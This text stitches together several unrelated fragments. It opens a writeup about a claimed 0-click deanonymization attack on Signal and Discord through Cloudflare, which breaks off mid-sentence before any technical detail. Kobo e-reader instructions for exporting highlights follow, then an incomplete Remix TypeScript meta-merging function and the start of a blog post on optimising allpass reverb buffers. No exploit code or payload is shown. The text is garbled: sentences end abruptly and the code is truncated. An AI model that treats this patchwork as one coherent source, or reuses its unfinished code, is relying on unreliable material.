Unique 0-click deanonymization attack targeting Signal, Discord and hundreds of platform

hi, i'm daniel. i'm a 15-year-old high school junior. in my free time, i hack billion dollar companies and build cool stuff.

3 months ago, I discovered a unique 0-click deanonymization attack that allows an attacker to grab the location of any target within a 250 mile radius. With a vulnerable app installed on a target's phone (or as a background application on their laptop), an attacker can send a malicious payload and deanonymize you within seconds--and you wouldn't even know.

I'm publishing this writeup and research as a warning, especially for journalists, activists, and hackers, about this type of undetectable attack. Hundreds of applications are vulnerable, including some of the most popular apps in the world: Signal, Discord, Twitter/X, and others. Here's how it works:

Cloudflare

By the numbers, Cloudflare is easily the most popular CDN on the market. It beats out competitors such as Sucuri, Amazon CloudFront, Akamai, and Fastly. In 2019, a major Cloudflare outage k

how to export notes and highlights from kobo

Steps

  1. connect kobo to your device
  2. open a file browser and navigate to the mounted kobo folder
  3. navigate to the hidden folder .kobo/Kobo
  4. open the file Kobo eReader.conf
  5. navigate to the section [FeatureSettings], if it doesn't exist, create it.
  6. add the line ExportHighlights=true and save
  7. disconnect the device
  8. now you can long press on a book and export the note file into a .txt file which will be saved alongside your books. to get it connect your ereader.
import type { V2_HtmlMetaDescriptor, V2_MetaFunction } from "@remix-run/node";
export const mergeMeta = (
overrideFn: V2_MetaFunction,
appendFn?: V2_MetaFunction,
): V2_MetaFunction => {
return arg => {
// get meta from parent routes
let mergedMeta = arg.matches.reduce((acc, match) => {
return acc.concat(match.meta || []);

optimising allpass reverbs by using a single shared buffer

TLDR: if you've got a bunch of delays in series, for example all-pass filters in a reverb, put them all in a single big buffer and let them crawl over each other for a perf win!

recently I was fiddling around with my hobby reverb code, in preparation for porting it onto a smaller/slower CPU. I'd implemented a loop-of-allpass filters type reverb, just like everybody else, and indeed, I basically had the classic 'OOP'ish abstraction of an 'allpass' struct that was, say, 313 samples long, and... did an allpass. on its own little float buffer[313]. (well, short integer, not float, but thats not relevant) I'll write out the code in a moment.

but then I was browsing the internet one night, as you do, and stumbled on this old post by Sean Costello of Valhalla DSP fame - noting the sad passing of Alesis founder and general all-round DSP legend, Keith Barr. https://valhalladsp.com/2010/08/25/rip-keith-barr/

It's worth a read just for his wonderful anecdote about the birth of the midiverb - which spawned the thou
